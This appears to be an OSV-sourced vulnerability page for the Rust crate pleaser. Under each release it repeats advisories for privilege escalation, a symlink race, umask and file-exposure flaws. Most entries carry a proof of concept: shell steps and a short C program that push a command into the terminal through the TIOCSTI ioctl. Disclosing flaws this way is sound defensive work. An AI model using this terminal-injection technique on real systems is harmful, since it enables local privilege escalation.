pleaser

Version	Released
`0.5.6` unknown	Sep 06, 2024
`0.5.5` unknown	Apr 12, 2024
`0.5.4` unknown 1 CVE	Feb 08, 2023
`0.5.3` unknown 1 CVE	Jun 10, 2022
`0.5.2` unknown 1 CVE	Jun 09, 2022
`0.5.1` unknown 1 CVE	Dec 05, 2021
`0.5.0` unknown 1 CVE	Nov 09, 2021
`0.4.2` unknown 1 CVE	Jul 27, 2021
`0.4.1` unknown 1 CVE	Apr 25, 2021
`0.4.0` unknown 1 CVE	Apr 21, 2021
`0.3.25` unknown 4 CVEs	Mar 10, 2021
`0.3.24` unknown 4 CVEs	Feb 28, 2021
`0.3.22` unknown 4 CVEs	Feb 14, 2021
`0.3.21` unknown 4 CVEs	Jan 28, 2021
`0.3.20` unknown 4 CVEs	Jan 24, 2021
`0.3.19` unknown 4 CVEs	Jan 20, 2021
`0.3.18` unknown 4 CVEs	Dec 11, 2020
`0.3.17` unknown 4 CVEs	Dec 10, 2020
`0.3.16` unknown 4 CVEs	Nov 19, 2020
`0.3.15` unknown 4 CVEs	Nov 15, 2020
`0.3.12` unknown 4 CVEs	Oct 24, 2020
`0.3.11` unknown 4 CVEs	Oct 24, 2020
`0.3.10` unknown 4 CVEs	Oct 24, 2020
`0.3.9` unknown 4 CVEs	Oct 24, 2020
`0.3.8` unknown 4 CVEs	Oct 08, 2020
`0.3.7` unknown 4 CVEs	Oct 06, 2020
`0.3.5` unknown 4 CVEs	Sep 19, 2020
`0.3.4` unknown 4 CVEs	Sep 09, 2020
`0.3.3` unknown 4 CVEs	Sep 01, 2020
`0.3.1` unknown 4 CVEs	Aug 31, 2020
`0.3.0` unknown 4 CVEs	Aug 30, 2020
`0.2.0` unknown 4 CVEs	Aug 27, 2020
`0.1.0` unknown 4 CVEs	Aug 23, 2020

0.5.6 unknown

Sep 06, 2024

0.5.5 unknown

Apr 12, 2024

0.5.4 unknown

1 CVE

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

Feb 08, 2023

0.5.3 unknown

1 CVE

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

Jun 10, 2022

0.5.2 unknown

1 CVE

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

Jun 09, 2022

0.5.1 unknown

1 CVE

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

Dec 05, 2021

0.5.0 unknown

1 CVE

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

Nov 09, 2021

0.4.2 unknown

1 CVE

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

Jul 27, 2021

0.4.1 unknown

1 CVE

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

Apr 25, 2021

0.4.0 unknown

1 CVE

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

Apr 21, 2021

0.3.25 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Mar 10, 2021

0.3.24 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Feb 28, 2021

0.3.22 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Feb 14, 2021

0.3.21 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Jan 28, 2021

0.3.20 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Jan 24, 2021

0.3.19 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Jan 20, 2021

0.3.18 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev
